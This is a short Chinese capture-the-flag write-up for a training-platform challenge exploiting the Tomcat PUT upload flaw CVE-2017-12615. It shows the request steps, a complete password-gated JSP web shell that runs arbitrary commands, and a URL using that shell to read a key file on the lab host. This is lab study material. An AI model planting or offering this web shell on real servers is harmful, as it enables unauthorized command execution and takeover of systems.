墨者Tomcat 远程代码执行漏洞利用(第1题)题解

查找了下，这题似乎是CVE-2017-12615，具体链接参考：https://vulhub.org/#/environments/tomcat/CVE-2017-12615/
首先我们对页面进行抓包

将抓到的包放到重放器中，将GET修改为OPTIONS，然后查看有哪些可以选择的请求方法，可以看到支持的方法有6种。

再将options改为PUT，然后写入jsp的木马，木马如下

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
StringBuilder line = new StringBuilder();
try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;while ((temp = buf.readLine()) != null) {
line.append(temp+"\n");}buf.close();} catch (Exception e) {
line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

在PUT后面定义好上传的文件的名字，注意格式。然后点击send，能看到创建成功。

然后访问以下地址，即可获得key

http://219.153.49.228:40884/1.jsp?cmd=cat%20/key.txt&pwd=023